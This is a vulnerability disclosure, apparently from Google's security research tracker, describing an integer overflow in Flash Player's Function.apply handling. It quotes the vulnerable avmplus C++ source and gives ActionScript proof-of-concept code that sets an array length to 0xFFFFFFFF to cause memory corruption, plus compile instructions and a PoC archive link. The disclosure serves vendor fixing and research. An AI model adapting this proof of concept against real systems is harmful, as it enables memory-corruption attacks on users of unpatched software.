Source: https://code.google.com/p/google-security-research/issues/detail?id=302&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=470837] VULNERABILITY DETAILS An integer overflow while calling Function.apply can lead to enter an ActionScript function without correctly validating the supplied arguments. VERSION Chrome Version: 41.0.2272.101 stable, Flash 17.0.0.134 Operating System: Win7 x64 SP1 REPRODUCTION CASE From exec.cpp taken from the Crossbridge sources, available at https://github.com/adobe-flash/crossbridge/blob/master/avmplus/core/exec.cpp 944 // Specialized to be called from Function.apply(). 945 Atom BaseExecMgr::apply(MethodEnv* env, Atom thisArg, ArrayObject *a) 946 { 947 int32_t argc = a->getLength(); ... 966 // Tail call inhibited by local allocation/deallocation. 967 MMgc::GC::AllocaAutoPtr _atomv; 968 Atom* atomv = (Atom*)avmStackAllocArray(core, _atomv, (argc+1), sizeof(Atom)); //here if argc = 0xFFFFFFFF we get an integer overflow 969 atomv[0] = thisArg; 970 for (int32_t i=0 ; i < argc ; i++ ) 971 atomv[i+1] = a->getUintProperty(i); 972 return env->coerceEnter(argc, atomv); 973 } So the idea is to use the rest argument to get a working poc. For example: public function myFunc(a0:ByteArray, a1:ByteArray, a2:ByteArray, a3:ByteArray, a4:ByteArray, a5:ByteArray, ... rest) { try {a0.writeUnsignedInt(0x41414141)}catch (e) {} try {a1.writeUnsignedInt(0x41414141)}catch (e) {} try {a2.writeUnsignedInt(0x41414141)}catch (e) {} try {a3.writeUnsignedInt(0x41414141)}catch (e) {} try {a4.writeUnsignedInt(0x41414141)}catch (e) {} } public function XApplyPoc() { var a:Array = new Array() a.length = 0xFFFFFFFF myFunc.apply(this, a) } Compile with mxmlc -target-player 15.0 -swf-version 25 XApplyPoc.as. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37843.zip